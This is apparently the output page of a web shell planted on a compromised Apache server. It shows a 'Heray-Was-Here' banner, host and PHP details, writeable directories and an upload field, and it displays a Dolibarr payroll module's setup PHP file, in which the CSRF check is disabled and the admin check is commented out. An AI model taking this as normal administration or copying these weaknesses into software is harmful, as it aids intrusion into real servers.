Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/dev/htdocs/custom/paiedolibarr/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/dev/htdocs/custom/paiedolibarr/admin/paiedolibarr_setup.php
<?php
/* Copyright (C) 2000-2005 Rodolphe Quiedeville <rodolphe@quiedeville.org>
 * Copyright (C) 2003      Jean-Louis Bergamo   <jlb@j1b.org>
 * Copyright (C) 2004-2009 Laurent Destailleur  <eldy@users.sourceforge.net>
 * Copyright (C) 2005-2009 Regis Houssin        <regis.houssin@inodbox.com>
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see <https://www.gnu.org/licenses/>.
 * or see https://www.gnu.org/
 */

if (!defined('NOTOKENRENEWAL'))  define('NOTOKENRENEWAL', 1);
if (!defined('NOCSRFCHECK'))     define('NOCSRFCHECK', 1);

// Dolibarr environment
$res = @include("../../main.inc.php"); // From htdocs directory
if (! $res) {
    $res = @include("../../../main.inc.php"); // From "custom" directory
}

// Libraries
require_once DOL_DOCUMENT_ROOT . "/core/lib/admin.lib.php";
require_once DOL_DOCUMENT_ROOT.'/core/lib/files.lib.php';
require_once DOL_DOCUMENT_ROOT.'/core/lib/images.lib.php';
require_once DOL_DOCUMENT_ROOT.'/core/class/html.formfile.class.php';
require_once '../lib/paiedolibarr.lib.php';

dol_include_once('/paiedolibarr/class/paiedolibarr.class.php');
$paiedolibarr   = new paiedolibarr($db);

// Translations
$langs->load("paiedolibarr@paiedolibarr");

// Access control
// if (! $user->admin) {
//     accessforbidden();
// }

// Parameters
$action = GETPOST('action', 'alpha');

if(!empty($action)){
    if (! $user->admin) accessforbidden();
}

$paiedolibarrel = GETPOST('paiedolibarrel','alpha') ? GETPOST('paiedolibarrel','alpha') : 'cote_d_ivoire';
$aftercomma = GETPOST('aftercomma','alpha');

/*
 * Actions
 */

if(!empty($action)){

    if($action == "update"){

        $error = 0;

        $upload_dir     = $conf->mycompany->dir_output.'/watermark/';
        if(!empty($_FILES['logo']['name'])){
            $TFile = $_FILES['logo'];
            $logo = array('logo' => dol_sanitizeFileName($TFile['name'],''));
            if (dol_mkdir($upload_dir) >= 0)
            {
                $destfull = $upload_dir.$TFile['name'];
                $info     = pathinfo($destfull); 
                
                $watermarkname    = dol_sanitizeFileName($TFile['name'],'');
                $destfull   = $info['dirname'].'/'.$watermarkname;
                $destfull   = dol_string_nohtmltag($destfull);
                $noerror  = dol_move_uploaded_file($TFile['tmp_name'], $destfull, 0, 0, $TFile['error'], 0);
                if($noerror)
                    dolibarr_set_const($db, "PAIEDOLIBARR_WATERMARK_IMG", $watermarkname,'chaine',0,'',$conf->entity);
                else
                    $error++;
            }
        }

        if(!dolibarr_set_const($db, "PAIE_NUMBER_OF_DIGITS_AFTER_THE_DECIMAL_POINT", $aftercomma,'chaine',0,'',$conf->entity))
            $error++;
        // if(!dolibarr_set_const($db, "PAIEDOLIBARR_PAIE_MODEL", $paiedolibarrel,'chaine',0,'',$conf->entity))
        //     $error++;

        if(!$error)
            setEventMessage($langs->trans("SetupSavedpaie"), 'mesgs');
        else
            setEventMessage($langs->trans("Error"), 'errors');
    }
    elseif($action == "remove"){
        $result = dolibarr_set_const($db, "PAIEDOLIBARR_WATERMARK_IMG", 0,'chaine',0,'',$conf->entity);
        if($result)
            setEventMessage($langs->trans("SetupSavedpaie"), 'mesgs');
        else
            setEventMessage($langs->trans("Error"), 'errors');
    }

    header('Location: ./paiedolibarr_setup.php');
    exit;
}



/*
 * View
 */
$page_name = "paiedolibarrSetup";
llxHeader('', $langs->trans($page_name));

// Subheader
$linkback = '<a href="' . DOL_URL_ROOT . '/admin/modules.php">'
    . $langs->trans("BackToModuleList") . '</a>';
print_fiche_titre($langs->trans($page_name), $linkback);

    

// Configuration header
// $head = paiedolibarrAdminPrepareHead();
// dol_fiche_head(
//     $head,
//     'settings',
//     $langs->trans("paiedolibarr"),
//     1,
//     "paiedolibarr@paiedolibarr"
// );


// Setup page goes here
$form=new Form($db);

$var=false;
$currentwate        = $conf->global->PAIEDOLIBARR_WATERMARK_IMG;
$paiedolibarrel       = $conf->global->PAIEDOLIBARR_PAIE_MODEL ? $conf->global->PAIEDOLIBARR_PAIE_MODEL : 'cote_d_ivoire';

print '<div class="paieconfigurationmod">';
print '<form method="post" action="'.$_SERVER["PHP_SELF"].'" enctype="multipart/form-data" class="">';
    print '<input type="hidden" name="token" value="'.newToken().'">';
    print '<input type="hidden" name="action" value="update" />';
    print '<table class="border dstable_" width="100%">';
        // print '<tr>';
        //     print '<td class="titlefield">'.$langs->trans('paiedolibarrelepaie').'</td>';
        //     print '<td>';
        //         print $paiedolibarr->getSelectPaieDolibarrels($paiedolibarrel);
        //     print '</td>';
        // print '</tr>';
        print '<tr>';
            print '<td class="titlefield">'.$langs->trans('paieshowafterpoint').'</td>';
            print '<td>';
            print '<input type="number" step="1" min="0" name="aftercomma" value="'.$conf->global->PAIE_NUMBER_OF_DIGITS_AFTER_THE_DECIMAL_POINT.'" />';
            print '</td>';
        print '</tr>';
        // print '<tr>';
        //     print '<td>'.$langs->trans('Watermarkphoto').'</td>';
        //     print '<td>';
        //         print '<div id="wrapper">';
        //             print '<input type="file" name="logo" id="logo" ">';
        //             if(!empty($currentwate)){
        //                 $minifile = getImageFileNameForSize($currentwate, '');  
        //                 $dt_files = getAdvancedPreviewUrl('mycompany', '/watermark/'.$minifile, 1, '&entity='.(!empty($object->entity)?$object->entity:$conf->entity));
        //                 print '<a href="'.$dt_files['url'].'" class="'.$dt_files['css'].' butAction" target="'.$dt_files['target'].'" mime="'.$dt_files['mime'].'" />';
        //                 print '<span class="fa fa-search-plus" style="color: gray"></span>';
        //                 print '</a>';

        //                 print '<a href="'.$_SERVER["PHP_SELF"].'?action=remove" style="" class="butActionDelete" />';
        //                 print $langs->trans('Delete');
        //                 print '</a>';
        //             }

        //         print '</div>';
        //     print '</td>';
        // print '</tr>';
    print '</table>';

    // Actions
    print '<table class="" width="100%">';
    print '<tr>';
        print '<td colspan="2" align="left">';
        print '<input type="submit" value="'.$langs->trans('Validate').'" name="bouton" class="button" />';
        print '</td>';
    print '</tr>';
    print '</table>';

print '</form>';
print '</div>';
dol_fiche_end(1);


llxFooter();
$db->close();

function _print_title($title="")
{
    global $langs;
    print '<tr class="liste_titre">';
    print '<td>'.$langs->trans($title).'</td>'."\n";
    print '<td align="center" width="20">&nbsp;</td>';
    print '<td align="center" ></td>'."\n";
    print '</tr>';
}

function _print_on_off($confkey, $title = false, $desc ='')
{
    global $langs, $conf;
    
    print '<tr class="oddeven">';
    print '<td>'.($title?$title:$langs->trans($confkey));
    if(!empty($desc))
    {
        print '<br><small>'.$langs->trans($desc).'</small>';
    }
    print '</td>';
    print '<td align="center" width="20">&nbsp;</td>';
    print '<td align="center">';
    print '<form method="POST" action="'.$_SERVER['PHP_SELF'].'">';
    print '<input type="hidden" name="token" value="'.$_SESSION['newtoken'].'">';
    print '<input type="hidden" name="action" value="set_'.$confkey.'">';
    print ajax_constantonoff($confkey);
    print '</form>';
    print '</td></tr>';
}

function _print_input_form_part($confkey, $title = false, $desc ='', $metas = array(), $type='input', $help = false,$value='')
{
    global $langs, $conf, $db;
    
    $form=new Form($db);
    
    $defaultMetas = array(
        'name' => $confkey
    );
    $value = $value ? $value : $conf->global->{$confkey};

    $colspan = '';
    if($type!='textarea'){
        $defaultMetas['type']   = 'text';
        $defaultMetas['value']  = $value;
    } else {
        $colspan = ' colspan="2"';
    }
    
    
    $metas = array_merge ($defaultMetas, $metas);
    $metascompil = '';
    foreach ($metas as $key => $values)
    {
        $metascompil .= ' '.$key.'="'.$values.'" ';
    }
    
    print '<tr class="oddeven">';
    print '<td'.$colspan.'>';
    
    if(!empty($help)){
        print $form->textwithtooltip( ($title?$title:$langs->trans($confkey)) , $langs->trans($help),2,1,img_help(1,''));
    }
    else {
        print $title?$title:$langs->trans($confkey);
    }
    
    if(!empty($desc))
    {
        print '<br><small>'.$langs->trans($desc).'</small>';
    }


    if($type!='textarea') {
        print '</td>';
        print '<td align="" >';
    }
        // print '<textarea></textarea>';

        print '<input width="100%" type="hidden" name="token" value="'.$_SESSION['newtoken'].'">';
        if($type=='textarea'){
        print '<textarea style="width:99%" name="'.$confkey.'">'.$value.'</textarea>';
            // include_once DOL_DOCUMENT_ROOT.'/core/class/doleditor.class.php';
            // $doleditor=new DolEditor($confkey, $value, '', 80, 'dolibarr_notes');
            // print $doleditor->Create();
        }
        else {
            print '<input '.$metascompil.'  />';
        }

        print '</td></tr>';
}

?>
<script>
    $(document).ready(function() {
        textarea_autosize();
    })
    function textarea_autosize(){
    $("textarea").each(function(textarea) {
        $(this).height($(this)[0].scrollHeight);
        $(this).css('resize', 'none');
     });
}
</script>


Hry